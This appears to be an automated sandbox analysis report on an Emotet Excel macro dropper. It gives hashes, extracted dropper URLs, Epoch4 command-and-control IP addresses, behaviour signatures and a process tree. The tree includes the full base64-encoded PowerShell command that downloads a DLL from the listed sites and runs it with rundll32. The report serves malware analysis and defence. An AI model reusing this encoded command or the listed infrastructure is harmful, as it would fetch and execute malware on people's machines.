emotet | 45d1be66cfdfd0b342a9f1eb6bbf0563387964bcd31d6b58b94a5e451b8a4cf3

Analysis

max time kernel
125s
max time network
172s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:59

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General

Target
tmpv9h33c4a.xls
Size 144KB
Sample220125-te4jgaaddm
SHA256 45d1be66cfdfd0b342a9f1eb6bbf0563387964bcd31d6b58b94a5e451b8a4cf3
MD5 b65a72a20c8225077cdabc566f4f86a1
SHA1 d26645b5cb159d1d30e2c8097f72b418569fb18b
SHA512 42c23a917605b18ce1b12954e0ff4ad600169ebc31bf440acd0a2ff1afc5298fc597520cee7db749e841cd178ceb724d5bdf6125db1fe3fb1047baec3ca6d58c
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
exe.dropper
https://100lamp.com.ua:443/sale/a/
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family

emotet

Botnet

Epoch4

51.77.82.125:443
69.197.160.180:8080
103.75.201.2:443
173.212.193.249:8080
45.118.135.203:7080
45.118.115.99:8080
162.243.175.63:443
192.254.71.210:443
50.116.54.215:443
51.38.71.0:443
138.185.72.26:8080
131.100.24.231:80
212.237.5.209:443
209.59.138.75:7080
176.104.106.96:8080
107.182.225.142:8080
45.142.114.231:8080
212.237.56.116:7080
207.38.84.195:8080
158.69.222.101:443
104.251.214.46:8080
104.168.155.129:8080
46.55.222.11:443
103.8.26.102:8080
58.227.42.236:80
164.68.99.3:8080
203.114.109.124:443
216.158.226.206:443
178.63.25.185:443
103.8.26.103:8080
195.154.133.20:443
45.176.232.124:443
41.76.108.46:8080
81.0.236.90:443
178.79.147.66:8080
212.24.98.99:8080
217.182.143.207:443
110.232.117.186:8080
162.214.50.39:7080
212.237.17.99:8080
185.157.82.211:8080
79.172.212.216:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2152	1304	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
27	3860	powershell.exe
40	1312	rundll32.exe
41	1312	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2884	rundll32.exe
3596	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Tnblbsdde\fytxc.vbu	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1304	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3860	powershell.exe
3860	powershell.exe
3860	powershell.exe
1312	rundll32.exe
1312	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3860	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE
1304	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 2152	1304	EXCEL.EXE	71
PID 1304 wrote to memory of 2152	1304	EXCEL.EXE	71
PID 2152 wrote to memory of 3860	2152	cmd.exe	73
PID 2152 wrote to memory of 3860	2152	cmd.exe	73
PID 3860 wrote to memory of 2884	3860	powershell.exe	74
PID 3860 wrote to memory of 2884	3860	powershell.exe	74
PID 3860 wrote to memory of 2884	3860	powershell.exe	74
PID 2884 wrote to memory of 3596	2884	rundll32.exe	75
PID 2884 wrote to memory of 3596	2884	rundll32.exe	75
PID 2884 wrote to memory of 3596	2884	rundll32.exe	75
PID 3596 wrote to memory of 1812	3596	rundll32.exe	76
PID 3596 wrote to memory of 1812	3596	rundll32.exe	76
PID 3596 wrote to memory of 1812	3596	rundll32.exe	76
PID 1812 wrote to memory of 1312	1812	rundll32.exe	77
PID 1812 wrote to memory of 1312	1812	rundll32.exe	77
PID 1812 wrote to memory of 1312	1812	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpv9h33c4a.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3860
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\375028374.dll,f1300539652
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\375028374.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3596
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tnblbsdde\fytxc.vbu",UumOqoJE
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1812
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tnblbsdde\fytxc.vbu",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1304-277-0x0000020ECD6C0000-0x0000020ECD6C4000-memory.dmp

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memory/1304-622-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-132-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

Download

memory/1304-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-124-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-624-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-623-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-131-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

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memory/1304-621-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-119-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-121-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

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memory/1304-120-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Download

memory/1312-349-0x0000000003410000-0x0000000003435000-memory.dmp

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memory/1812-348-0x0000000003480000-0x00000000034A5000-memory.dmp

Download

memory/2884-332-0x0000000001200000-0x0000000001225000-memory.dmp

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memory/3596-346-0x0000000004A40000-0x0000000004A65000-memory.dmp

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memory/3596-339-0x00000000011D0000-0x00000000011F5000-memory.dmp

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memory/3596-342-0x0000000004870000-0x0000000004895000-memory.dmp

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memory/3596-344-0x00000000048D0000-0x00000000048F5000-memory.dmp

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memory/3596-337-0x00000000010F0000-0x0000000001115000-memory.dmp

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memory/3596-335-0x00000000007E0000-0x0000000000805000-memory.dmp

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memory/3860-317-0x0000023B7F976000-0x0000023B7F978000-memory.dmp

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memory/3860-307-0x0000023B18390000-0x0000023B18406000-memory.dmp

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memory/3860-306-0x0000023B7F973000-0x0000023B7F975000-memory.dmp

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memory/3860-305-0x0000023B7F970000-0x0000023B7F972000-memory.dmp

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memory/3860-302-0x0000023B181E0000-0x0000023B18202000-memory.dmp

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